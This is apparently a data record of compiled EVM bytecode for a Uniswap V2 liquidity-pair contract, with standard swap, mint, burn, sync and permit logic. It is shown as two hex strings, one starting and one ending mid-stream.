160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017